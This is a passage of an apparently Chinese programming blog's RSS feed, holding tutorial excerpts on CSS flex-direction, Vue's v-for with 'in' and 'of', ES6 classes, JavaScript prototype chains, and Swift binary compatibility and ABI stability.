&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;flex-direction&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;row&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;row-reverse&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;column&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;column-reverse&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;（1）&lt;code&gt;flex-direction: row&lt;/code&gt;：默认值，沿水平主轴从左到右排列，起点在左沿&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/flexbox/image-03.webp"&gt;&lt;/p&gt;
&lt;p&gt;（2）&lt;code&gt;flex-direction: row-reverse&lt;/code&gt;：沿水平主轴从右到左排列，起点在右沿&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/flexbox/image-04.webp"&gt;&lt;/p&gt;
&lt;p&gt;（3）&lt;code&gt;flex-direction: column&lt;/code&gt;：沿垂直主轴从上到下排列，起点在上沿&lt;/p&gt;</description></item><item><title>v-for</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/vue/v-for/</link><pubDate>Sat, 05 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/vue/v-for/</guid><description>&lt;p&gt;在 &lt;code&gt;Vue.js&lt;/code&gt; 开发中，&lt;code&gt;v-for&lt;/code&gt; 是我们用来遍历数组、对象或其他数据结构的核心指令。然而，很多开发者可能忽略了其中的一个细微差别：&lt;code&gt;in&lt;/code&gt; 和 &lt;code&gt;of&lt;/code&gt;。这两个关键字看似相似，但却有各自不同的使用场景和适用数据类型。理解它们的区别，可以帮助我们编写更简洁、高效的代码。&lt;/p&gt;
&lt;p&gt;本文将详细探讨 &lt;code&gt;v-for&lt;/code&gt; 中的 &lt;code&gt;in&lt;/code&gt; 和 &lt;code&gt;of&lt;/code&gt;，并讲解它们各自的适用场景，帮助你在 &lt;code&gt;Vue.js&lt;/code&gt; 项目中做出最佳选择。&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="什么是-v-for"&gt;什么是 &lt;code&gt;v-for&lt;/code&gt;？&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;v-for&lt;/code&gt; 是 &lt;code&gt;Vue.js&lt;/code&gt; 提供的用于遍历数据的指令，它可以帮助你快速渲染列表、表格等动态生成的内容。在使用 &lt;code&gt;v-for&lt;/code&gt; 时，我们通常需要遍历一个数据集合，并将每一项绑定到 &lt;code&gt;DOM&lt;/code&gt; 元素上。&lt;/p&gt;
&lt;h3 id="in-和-of-的概念"&gt;&lt;code&gt;in&lt;/code&gt; 和 &lt;code&gt;of&lt;/code&gt; 的概念&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;v-for&lt;/code&gt; 中的 &lt;code&gt;in&lt;/code&gt; 和 &lt;code&gt;of&lt;/code&gt; 是遍历数据时的两个常用关键字，它们的主要区别在于：&lt;strong&gt;&lt;code&gt;in&lt;/code&gt; 更通用，可以遍历数组、对象和整数范围；而 &lt;code&gt;of&lt;/code&gt; 专注于遍历可迭代对象（如数组、字符串、&lt;code&gt;Set&lt;/code&gt;、&lt;code&gt;Map&lt;/code&gt; 等）&lt;/strong&gt; 。&lt;/p&gt;
&lt;p&gt;接下来，我们深入探讨它们的具体用法及差异。&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="1-in适用于数组对象整数范围"&gt;1. &lt;code&gt;in&lt;/code&gt;：适用于数组、对象、整数范围&lt;/h3&gt;
&lt;h4 id="11-遍历数组"&gt;1.1 遍历数组&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;in&lt;/code&gt; 是 &lt;code&gt;Vue.js&lt;/code&gt; 中默认推荐的方式，用于遍历数组中的元素。你可以轻松地用 &lt;code&gt;in&lt;/code&gt; 处理数组中的每个值。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;ul&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  &amp;lt;&lt;span style="color:#f92672"&gt;li&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;v-for&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;item in items&amp;#34;&lt;/span&gt;&amp;gt;{{ item }}&amp;lt;/&lt;span style="color:#f92672"&gt;li&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;ul&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;假设 &lt;code&gt;items = ['apple', 'banana', 'cherry']&lt;/code&gt;，输出结果为：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;li&lt;/span&gt;&amp;gt;apple&amp;lt;/&lt;span style="color:#f92672"&gt;li&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;li&lt;/span&gt;&amp;gt;banana&amp;lt;/&lt;span style="color:#f92672"&gt;li&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;li&lt;/span&gt;&amp;gt;cherry&amp;lt;/&lt;span style="color:#f92672"&gt;li&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="12-遍历对象"&gt;1.2 遍历对象&lt;/h4&gt;
&lt;p&gt;当你需要遍历对象的键和值时，&lt;code&gt;in&lt;/code&gt; 也非常方便。通过 &lt;code&gt;(value, key)&lt;/code&gt; 语法，你可以轻松获取对象的键和值。&lt;/p&gt;</description></item><item><title>Class</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/es6/class/</link><pubDate>Wed, 02 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/es6/class/</guid><description>&lt;h2 id="class-的基本语法"&gt;Class 的基本语法&lt;/h2&gt;
&lt;h2 id="简介"&gt;简介&lt;/h2&gt;
&lt;h3 id="类的由来"&gt;类的由来&lt;/h3&gt;
&lt;p&gt;JavaScript 语言中，生成实例对象的传统方法是通过构造函数。下面是一个例子。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Point&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;x&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;y&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;x&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;x&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;y&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;y&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;Point&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;prototype&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;toString&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; () {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;(&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;x&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;, &amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;y&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;)&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;p&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Point&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;上面这种写法跟传统的面向对象语言（比如 C++ 和 Java）差异很大，很容易让新学习这门语言的程序员感到困惑。&lt;/p&gt;
&lt;p&gt;ES6 提供了更接近传统语言的写法，引入了 Class（类）这个概念，作为对象的模板。通过&lt;code&gt;class&lt;/code&gt;关键字，可以定义类。&lt;/p&gt;
&lt;p&gt;基本上，ES6 的&lt;code&gt;class&lt;/code&gt;可以看作只是一个语法糖，它的绝大部分功能，ES5 都可以做到，新的&lt;code&gt;class&lt;/code&gt;写法只是让对象原型的写法更加清晰、更像面向对象编程的语法而已。上面的代码用 ES6 的&lt;code&gt;class&lt;/code&gt;改写，就是下面这样。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Point&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;constructor&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;x&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;y&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;x&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;x&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;y&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;y&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;toString&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;(&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;x&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;, &amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;y&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;)&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;上面代码定义了一个“类”，可以看到里面有一个&lt;code&gt;constructor()&lt;/code&gt;方法，这就是构造方法，而&lt;code&gt;this&lt;/code&gt;关键字则代表实例对象。这种新的 Class 写法，本质上与本章开头的 ES5 的构造函数&lt;code&gt;Point&lt;/code&gt;是一致的。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Point&lt;/code&gt;类除了构造方法，还定义了一个&lt;code&gt;toString()&lt;/code&gt;方法。注意，定义&lt;code&gt;toString()&lt;/code&gt;方法的时候，前面不需要加上&lt;code&gt;function&lt;/code&gt;这个关键字，直接把函数定义放进去了就可以了。另外，方法与方法之间不需要逗号分隔，加了会报错。&lt;/p&gt;
&lt;p&gt;ES6 的类，完全可以看作构造函数的另一种写法。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Point&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;typeof&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Point&lt;/span&gt; &lt;span style="color:#75715e"&gt;// &amp;#34;function&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;Point&lt;/span&gt; &lt;span style="color:#f92672"&gt;===&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Point&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;prototype&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;constructor&lt;/span&gt; &lt;span style="color:#75715e"&gt;// true
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;上面代码表明，类的数据类型就是函数，类本身就指向构造函数。&lt;/p&gt;
&lt;p&gt;使用的时候，也是直接对类使用&lt;code&gt;new&lt;/code&gt;命令，跟构造函数的用法完全一致。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Bar&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;doStuff&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;stuff&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;b&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Bar&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;b&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;doStuff&lt;/span&gt;() &lt;span style="color:#75715e"&gt;// &amp;#34;stuff&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;构造函数的&lt;code&gt;prototype&lt;/code&gt;属性，在 ES6 的“类”上面继续存在。事实上，类的所有方法都定义在类的&lt;code&gt;prototype&lt;/code&gt;属性上面。&lt;/p&gt;</description></item><item><title>原型链与继承</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-011/</link><pubDate>Tue, 01 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-011/</guid><description>&lt;p&gt;&lt;code&gt;JavaScript&lt;/code&gt; 中没有类的概念的，主要通过原型链来实现继承。通常情况下，继承意味着复制操作，然而 &lt;code&gt;JavaScript&lt;/code&gt; 默认并不会复制对象的属性，相反，&lt;code&gt;JavaScript&lt;/code&gt; 只是在两个对象之间创建一个关联（原型对象指针），这样，一个对象就可以通过委托访问另一个对象的属性和函数，所以与其叫继承，委托的说法反而更准确些。&lt;/p&gt;
&lt;h2 id="原型"&gt;原型&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;当我们 &lt;code&gt;new&lt;/code&gt; 了一个新的对象实例，明明什么都没有做，就直接可以访问 &lt;code&gt;toString&lt;/code&gt; 、&lt;code&gt;valueOf&lt;/code&gt; 等原生方法。那么这些方法是从哪里来的呢？答案就是原型。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-011/image-01.png"&gt;&lt;/p&gt;
&lt;p&gt;在控制台打印一个空对象时，我们可以看到，有很多方法，已经“初始化”挂载在内置的 &lt;code&gt;__proto__&lt;/code&gt; 对象上了。这个内置的 &lt;code&gt;__proto__&lt;/code&gt; 是一个指向原型对象的指针，它会在创建一个新的引用类型对象时（显示或者隐式）自动创建，并挂载到新实例上。当我们尝试访问实例对象上的某一属性 / 方法时，如果实例对象上有该属性 / 方法时，就返回实例属性 / 方法，如果没有，就去 &lt;code&gt;__proto__&lt;/code&gt; 指向的原型对象上查找对应的属性 / 方法。这就是为什么我们尝试访问空对象的 &lt;code&gt;toString&lt;/code&gt; 和 &lt;code&gt;valueOf&lt;/code&gt; 等方法依旧能访问到的原因，&lt;strong&gt;&lt;code&gt;JavaScript&lt;/code&gt; 正式以这种方式为基础来实现继承的。&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id="构造函数"&gt;构造函数&lt;/h2&gt;
&lt;p&gt;如果说实例的 &lt;code&gt;__proto__&lt;/code&gt; 只是一个指向原型对象的指针，那就说明在此之前原型对象就已经创建了，那么原型对象是什么时候被创建的呢？这就要引入&lt;strong&gt;构造函数&lt;/strong&gt;的概念。&lt;/p&gt;
&lt;p&gt;其实构造函数也就只是一个普通的函数而已，如果这个函数可以使用 &lt;code&gt;new&lt;/code&gt; 关键字来创建它的实例对象，那么我们就把这种函数称为 &lt;strong&gt;构造函数&lt;/strong&gt;。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 普通函数
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;person&lt;/span&gt; () {}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 构造函数，函数首字母通常大写
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Person&lt;/span&gt; () {}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;person&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Person&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;原型对象正是在构造函数被声明时一同创建的。构造函数被申明时，原型对象也一同完成创建，然后挂载到构造函数的 &lt;code&gt;prototype&lt;/code&gt; 属性上：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-011/image-02.png"&gt;&lt;/p&gt;
&lt;p&gt;原型对象被创建时，会自动生成一个 &lt;code&gt;constructor&lt;/code&gt; 属性，指向创建它的构造函数。这样它俩的关系就被紧密地关联起来了。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;细心的话，你可能会发现，原型对象也有自己的 &lt;code&gt;__proto__&lt;/code&gt; ，这也不奇怪，毕竟万物皆对象嘛。原型对象的 &lt;strong&gt;proto&lt;/strong&gt; 指向的是 &lt;code&gt;Object.prototype&lt;/code&gt;。那么 &lt;code&gt;Object.prototype.__proto__&lt;/code&gt; 存不存在呢？其实是不存在的，打印的话会发现是 &lt;code&gt;null&lt;/code&gt; 。这也证明了 &lt;code&gt;Object&lt;/code&gt; 是 &lt;code&gt;JavaScript&lt;/code&gt; 中数据类型的起源。&lt;/p&gt;</description></item><item><title>Swift二进制兼容性</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/swift%E4%BA%8C%E8%BF%9B%E5%88%B6%E5%85%BC%E5%AE%B9%E6%80%A7/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/swift%E4%BA%8C%E8%BF%9B%E5%88%B6%E5%85%BC%E5%AE%B9%E6%80%A7/</guid><description>&lt;p&gt;Swift二进制兼容性是指Swift编译后的二进制代码能够跨版本、跨模块正确链接和运行的能力。它由三个核心机制组成：&lt;strong&gt;ABI稳定&lt;/strong&gt;（Swift 5.0）、&lt;strong&gt;模块稳定性&lt;/strong&gt;（Swift 5.1）和&lt;strong&gt;Library Evolution&lt;/strong&gt;。这三者共同使得Swift二进制框架的分发成为可能。&lt;/p&gt;
&lt;pre class="mermaid"&gt;graph TD
A[Swift二进制兼容性] --&gt; B[ABI稳定&lt;br/&gt;Swift 5.0]
A --&gt; C[模块稳定性&lt;br/&gt;Swift 5.1]
A --&gt; D[Library Evolution]
B --&gt; B1[统一运行时&lt;br/&gt;固定调用约定/内存布局]
C --&gt; C1[.swiftinterface&lt;br/&gt;跨编译器版本导入模块]
D --&gt; D1[运行时布局查询&lt;br/&gt;库可独立于客户端更新]
B1 --&gt; E[二进制框架分发]
C1 --&gt; E
D1 --&gt; E
&lt;/pre&gt;
&lt;h2 id="abi稳定"&gt;ABI稳定&lt;/h2&gt;
&lt;h3 id="什么是abi"&gt;什么是ABI&lt;/h3&gt;
&lt;p&gt;ABI（Application Binary Interface，应用程序二进制接口）定义了二进制层面的接口规范，包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;数据类型的大小和对齐方式&lt;/strong&gt;：如Int在64位系统上是8字节&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;函数调用约定&lt;/strong&gt;：参数如何传递、返回值如何获取&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;名称修饰（Name Mangling）规则&lt;/strong&gt;：函数和类型在二进制中的命名方式&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内存布局&lt;/strong&gt;：对象在内存中的结构&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;异常处理机制&lt;/strong&gt;：错误如何在二进制层面传播&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;运行时元数据格式&lt;/strong&gt;：类型信息的存储方式&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="abi-vs-api"&gt;ABI vs API&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特性&lt;/th&gt;
&lt;th&gt;API（源码接口）&lt;/th&gt;
&lt;th&gt;ABI（二进制接口）&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;层面&lt;/td&gt;
&lt;td&gt;源代码层面&lt;/td&gt;
&lt;td&gt;编译后的二进制层面&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;兼容性检查&lt;/td&gt;
&lt;td&gt;编译时&lt;/td&gt;
&lt;td&gt;链接时/运行时&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;关注点&lt;/td&gt;
&lt;td&gt;函数签名、类型定义&lt;/td&gt;
&lt;td&gt;内存布局、调用约定&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;变化影响&lt;/td&gt;
&lt;td&gt;需要重新编译&lt;/td&gt;
&lt;td&gt;需要重新链接或替换二进制&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;一个简单的例子：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-swift" data-lang="swift"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// API层面：函数签名&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;calculate&lt;/span&gt;(value: Int) -&amp;gt; Int
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// ABI层面关注的是：&lt;/span&gt;
